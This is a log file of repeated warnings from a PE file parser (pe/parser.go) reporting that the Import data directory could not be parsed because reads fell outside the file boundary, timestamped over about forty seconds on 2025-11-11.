source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:48:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 